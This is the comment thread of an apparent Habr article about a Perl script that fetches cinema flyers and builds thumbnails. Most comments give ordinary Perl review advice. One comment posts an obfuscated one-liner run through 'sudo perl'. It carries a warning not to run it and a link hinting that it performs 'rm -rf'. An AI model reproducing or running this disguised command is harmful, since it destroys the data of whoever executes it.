Как стать автором
Обновить

Комментарии 52

Рекомендую в начале всех скриптов на Перле больше 5-10 строк после шэбанга писать «use strict; use warnings;». Это позволит избежать массы всяких проблем.
100 %
НЛО прилетело и опубликовало эту надпись здесь
НЛО прилетело и опубликовало эту надпись здесь
НЛО прилетело и опубликовало эту надпись здесь
!!! Невкоем случае не запускайте этот код!!!
Если что я предупреждал :-)

Для тех кто видит первый раз, перл, он такой перл:

echo «test… test… test...» | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

lurkmore.ru/Rm_-rf
А еще в перле есть это
/ (.)(.) /
RegExp-ы
также рекомендую почитать книгу Perl — Best Practices от O'Really
+ попробуйте perltidy, perlcritic

1.переменные в литералах с двумя кавычками могут интерполироваться
2.Сишный for(;;) замените на for my $n (1..4)
3.Проверяйте результат open/close: open my $IMG, '>', "../i/$nextFlyer.jpg" or die «cannot open file: $!»;
4.new GD::Image($thubmWidth,$thubmHeight,1); лучше будет GD::Image->new($thubmWidth,$thubmHeight,1);

про open() || die двумя руками поддерживаю. скольких проблем позволяет избежать…
Cейчас модуль autodie появился, очень удобный.
НЛО прилетело и опубликовало эту надпись здесь
ждем релиза rakudo
НЛО прилетело и опубликовало эту надпись здесь
НЛО прилетело и опубликовало эту надпись здесь
И тот же Perl как ни странно. Ещё про javascript забыли.
мода ссука изменчивая…
При чем тут мода? Если у вас руки не из того места растут то говнокод можно на чем угодно клепать. А если голова есть, то и на Perl'е в каноническом Java-стиле писать можно.
Да это тролль обычный, я сам написал сначала… Не надо его кормить.
НЛО прилетело и опубликовало эту надпись здесь
А зачем его мучать-то? Надо им пользоваться! :-) Очень часто ему практически нет альтернатив. Скажем, все приведенных вами другие языки сливают ему по скорости. А лично для меня важно, что в FreeBSD, в которой я большей частью работаю, Перл изначально встроенный и мне ничего не нужно делать, чтобы на нем писать: открыл текстовый файлик, написал вверху "#!/usr/bin/perl" и понеслась…
Также можно быть приятно или не очень удивленным, когда при необходимости накодить что-то помимо широко всеми используемого мейнстрима, оказывается, что модули для работы с требуемыми фенечками есть только у Перла, а на всех других языках придется все кодить самому или вообще забить.
Или вот из другой серии пример — чуть ли не на каждом хостинге с cPanel есть не только сам Перл, но и возможность ставить свои модули из CPAN в домашний каталог, чтобы пользовать в своих скриптах. Для того же PHP с его Pear это если и бывает, то сильно реже (я вообще не видел, хотя посмотрел сейчас поиском — такие есть, и то слава Богу)…
И подобных примеров позитива от использования Перла можно еще привести, думается, вполне немало…
Насчет мрачности и готичности — это, конечно, приятно, но лично я принципиальной разницы между теми же Перлом, php и тем же ЯваСкриптом не ощущаю. Синтаксис у них у всех растет из Си. Но если у Перла он оттуда растет напрямую, то у php — как раз наоборот из Перла, а у JS — из Явы, у которой из Си. ;-) А всякие там нюансы этого самого синтаксиса особой роли не играют. Тот факт, что вина за php'шный быдлокод ложится обычно на быдлокодера, а за Перловый — почему-то на сам Перл, — я отношу к социально-историческим и поведенческим моментом. :-) Когда начинался Перл, быдлокодеров в нынешнем понимании не существовало, каждый программист был априори гуру, и никто программистов особенно не стратифицировал. Вот все косяки на язык и привыкли валить… С тем же PHP ситуация другая — он изначально быдлокодерский (что ему до сих пор в вину и ставят) и вместе с процессом его «возмужания» шел и процесс деления программистов на уровни и группы, в связи с чем получилось два разнонаправленных процесса: язык в сознании масс становился все лучше, а ряд программистов — все хуже (так сказать, оттягивали негатив на себя). :-)
А можно как-нибудь попасть в список рассылки? Или это только для своих?
Спасибо, большое!
> get(«vkino.timeout.ru/pix/ ».$nextFlyer.".jpeg")

Это я так понимаю для Питера? А для Москвы как будет? Спасибо.
get(«freekino.timeout.ru/pix/ ».$nextFlyer.".jpeg"). На здоровье.
Что, правда бесплатно? А как все в зал помещаются? О_о
А почему Питерские на одно лицо, а Московские на два?
В Москве зажрались, требуется минримум 2 кресла.
Ну это клево конечно!!! Тока в каком виде их распечатывать надо? В чернобелом покатит?
С удовольствием впишу ваш адрес электронной почты в заветный список. От вас — письмо на vantoozz@gmail.com и город))
НЛО прилетело и опубликовало эту надпись здесь
НЛО прилетело и опубликовало эту надпись здесь
Помогли бы советом товарищу :) Видно же, что человек — программист.
НЛО прилетело и опубликовало эту надпись здесь
НЛО прилетело и опубликовало эту надпись здесь
Там данные не только считываютя, но еще и записываются: print FLY $nextFlyer."\n";. И файл открывается для чтения и записи: open(FLY,"+< ../data/flyers");
НЛО прилетело и опубликовало эту надпись здесь
Да насчет нуля Вы правы. В оправдание скажу, что переменная $n-счетчитк цикла в какой-то редакции кода была функцией инкремента номера следующего флаера. В последующих редакциях эта ее роль утратилась…
НЛО прилетело и опубликовало эту надпись здесь
Жалко только два города :).
Добавлю от себя, столько open+binmode+close просто не нужны, посмотрите модуль IO::File и ":raw" layer.

Опять же, писать print «Content type… у Perl программистов не принято, смотрите модуль CGI

НЛО прилетело и опубликовало эту надпись здесь
Было бы интересно узнать, почему вы бы не советовали использовать CGI.pm?

Что касается скрипта, то хочу обратить внимание автора, что flock и binmode это функции из разных миров. Блокировка не работает в Win, а binmode не нужен в Unix.
Потому, что CGI.pm очень «большой и толстый», довольно медленный, с избыточным функционалом. С основными тезисами можно ознакомиться тут.
Вот когда человек будет писать High Load проект, тогда и будет решать, что ему в CGI.pm нужно, а что нет. Пока же человеку стоит использовать CGI.pm.
Что касается вашей ссылки, то могу вам заявить: «Perl зло, используйте Asm». Бросите ли вы использовать Perl из-за этого? Сильно сомневаюсь.
А я и не говорил, что в данном случае его использовать нельзя (хотя вообще-то не нужно, посколько это не cgi-скрипт). Тем не менее, я бы не стал, пожалуй. И дело не только в скорости и размере.
В 90% случаев из модуля CGI нужен только один метод — param() (или vars()). Есть модули с аналогичным интерфейсом, только они не предоставляют лишнего функционала. Это напрямую сказывается на объеме и сложности документации модуля. Начать работать c CGI::Minimal проще, чем с CGI.pm.

> Что касается вашей ссылки, то могу вам заявить: «Perl зло, используйте Asm». Бросите ли вы использовать Perl из-за этого? Сильно сомневаюсь.
Типичный аргумент, сам когда-то так говорил. Потом понял, что это неправильный аргумент.
Еще header и cookie.
НЛО прилетело и опубликовало эту надпись здесь
мои 5 копеек
1.
while($file=get("http://vkino.timeout.ru/pix/".$nextFlyer.".jpeg")){
...
      open(IMG, "> ../i/".$nextFlyer.".jpg");
      binmode IMG;
      print IMG $file;
      close(IMG);
...
}
эквивалентно getstore($url, $file) из LWP::Simple

2. Для сборки thumbnail существует куча готовых модулей (например, GD::Thumbnail или GD::Image::Thumbnail)
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации